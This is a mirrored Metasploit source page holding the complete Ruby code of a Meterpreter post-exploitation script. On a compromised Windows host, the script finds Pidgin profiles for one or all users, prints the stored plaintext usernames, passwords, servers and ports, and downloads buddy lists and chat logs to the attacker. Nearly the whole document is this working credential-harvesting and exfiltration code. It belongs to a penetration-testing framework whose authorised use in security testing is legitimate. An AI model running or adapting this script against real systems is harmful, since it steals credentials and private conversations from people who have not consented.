Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

get_pidgin_creds.rb 7.2KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  7. #-------------------------------------------------------------------------------
  8. require "rexml/document"
  9. #-------------------------------------------------------------------------------
  10. #Options and Option Parsing
  11. opts = Rex::Parser::Arguments.new(
  12. "-h" => [ false, "Help menu." ],
  13. "-c" => [ false, "Return credentials." ],
  14. "-l" => [ false, "Retrieve logs." ],
  15. "-b" => [ false, "Retrieve buddies." ]
  16. )
  17. get_credentials=false
  18. get_buddies=false
  19. get_logs=false
  20. opts.parse(args) { |opt, idx, val|
  21. case opt
  22. when "-h"
  23. print_line "Meterpreter Script for extracting configured services with username and passwords."
  24. print_line(opts.usage)
  25. raise Rex::Script::Completed
  26. when "-l"
  27. get_logs=true
  28. when "-b"
  29. get_buddies=true
  30. when "-c"
  31. get_credentials=true
  32. end
  33. }
  34. ### If we get here and have none of our flags true, then we'll just
  35. ### get credentials
  36. if !(get_credentials || get_buddies || get_logs)
  37. get_credentials=true
  38. end
  39. #-------------------------------------------------------------------------------
  40. #Set General Variables used in the script
  41. @client = client
  42. os = @client.sys.config.sysinfo['OS']
  43. host = @client.sys.config.sysinfo['Computer']
  44. # Create Filename info to be appended to downloaded files
  45. filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  46. # Create a directory for the logs
  47. logs = ::File.join(Msf::Config.log_directory,'scripts', 'pidgin_creds')
  48. # Create the log directory
  49. ::FileUtils.mkdir_p(logs)
  50. #logfile name
  51. dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
  52. #-------------------------------------------------------------------------------
  53. #function for checking of Pidgin profile is present
  54. def check_pidgin(path)
  55. found = nil
  56. @client.fs.dir.foreach(path) do |x|
  57. next if x =~ /^(\.|\.\.)$/
  58. if x =~ (/\.purple/)
  59. ### If we find the path, let's return it
  60. found = path + x
  61. return found
  62. end
  63. end
  64. return found
  65. end
  66. #-------------------------------------------------------------------------------
  67. #function for extracting the buddies
  68. def extract_buddies(path)
  69. blist_xml = ""
  70. buddies = ""
  71. print_status("Reading blist.xml file...")
  72. ### modified to use pidgin_path, which already has .purple in it
  73. blist_file = @client.fs.file.new(path + "\\blist.xml", "rb")
  74. until blist_file.eof?
  75. blist_xml << blist_file.read
  76. end
  77. blist_file.close
  78. doc = (REXML::Document.new blist_xml).root
  79. doc.elements["blist"].elements.each("group") {|group|
  80. group.elements.each("contact") {|contact|
  81. b_name=contact.elements["buddy"].elements["name"].text + ""
  82. b_account=contact.elements["buddy"].attributes["account"] + ""
  83. b_proto=contact.elements["buddy"].attributes["proto"] + ""
  84. b_alias=""
  85. if (contact.elements["buddy"].elements["alias"])
  86. b_alias=contact.elements["buddy"].elements["alias"].text
  87. end
  88. buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n"
  89. }
  90. }
  91. return buddies
  92. end
  93. #-------------------------------------------------------------------------------
  94. #function for downloading logs
  95. def download_logs(dest,pidgin_path)
  96. begin
  97. stat = client.fs.file.stat(pidgin_path+"\\logs")
  98. if(stat.directory?)
  99. print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs")
  100. client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true)
  101. end
  102. rescue
  103. print_status("Log directory does not exist, loggin is not enabled.")
  104. end
  105. end
  106. #-------------------------------------------------------------------------------
  107. #function for extracting the credentials
  108. def extract_creds(path)
  109. accounts_xml = ""
  110. creds = ""
  111. print_status("Reading accounts.xml file...")
  112. ### modified to use pidgin_path, which already has .purple in it
  113. account_file = @client.fs.file.new(path + "\\accounts.xml", "rb")
  114. until account_file.eof?
  115. accounts_xml << account_file.read
  116. end
  117. account_file.close
  118. doc = (REXML::Document.new accounts_xml).root
  119. doc.elements.each("account") {|element|
  120. password = "<unknown>"
  121. if element.elements["password"]
  122. password=element.elements["password"].text
  123. end
  124. print_status("\tProtocol: #{element.elements["protocol"].text}")
  125. print_status("\tUsername: #{element.elements["name"].text}")
  126. print_status("\tPassword: #{element.elements["password"].text}")
  127. print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}")
  128. print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}")
  129. print_status()
  130. creds << "user=>#{element.elements["name"].text}"
  131. creds << "\tpass=>#{password}"
  132. creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}"
  133. creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}"
  134. creds << "\tproto=>#{element.elements["protocol"].text}\n"
  135. }
  136. return creds
  137. end
  138. #-------------------------------------------------------------------------------
  139. #Function to enumerate the users if running as SYSTEM
  140. def enum_users(os)
  141. users = []
  142. path4users = ""
  143. sysdrv = @client.sys.config.getenv('SystemDrive')
  144. if os =~ /Windows 7|Vista|2008/
  145. path4users = sysdrv + "\\users\\"
  146. path2purple = "\\AppData\\Roaming\\"
  147. else
  148. path4users = sysdrv + "\\Documents and Settings\\"
  149. path2purple = "\\Application Data\\"
  150. end
  151. if is_system?
  152. print_status("Running as SYSTEM extracting user list..")
  153. @client.fs.dir.foreach(path4users) do |u|
  154. userinfo = {}
  155. next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
  156. userinfo['username'] = u
  157. userinfo['userappdata'] = path4users + u + path2purple
  158. users << userinfo
  159. end
  160. else
  161. userinfo = {}
  162. uservar = @client.sys.config.getenv('USERNAME')
  163. userinfo['username'] = uservar
  164. userinfo['userappdata'] = path4users + uservar + path2purple
  165. users << userinfo
  166. end
  167. return users
  168. end
  169. #-------------------------------------------------------------------------------
  170. ################## MAIN ##################
  171. if client.platform == 'windows'
  172. print_status("Running Meterpreter Pidgin Credential harvester script")
  173. print_status("All services are logged at #{dest}")
  174. enum_users(os).each do |u|
  175. print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...")
  176. ### Find the path (if it exists) for this user,
  177. pidgin_path = check_pidgin(u['userappdata'])
  178. if pidgin_path
  179. print_status("Pidgin profile found!")
  180. ### modified to use pidgin_path
  181. if get_credentials
  182. file_local_write(dest,extract_creds(pidgin_path))
  183. end
  184. if get_buddies
  185. file_local_write(dest,extract_buddies(pidgin_path))
  186. print_status("Buddie list has been saved to the log file.")
  187. end
  188. if get_logs
  189. download_logs(logs,pidgin_path)
  190. end
  191. else
  192. print_error("Pidgin profile not found!")
  193. end
  194. end
  195. else
  196. print_error("This version of Meterpreter is not supported with this Script!")
  197. raise Rex::Script::Completed
  198. end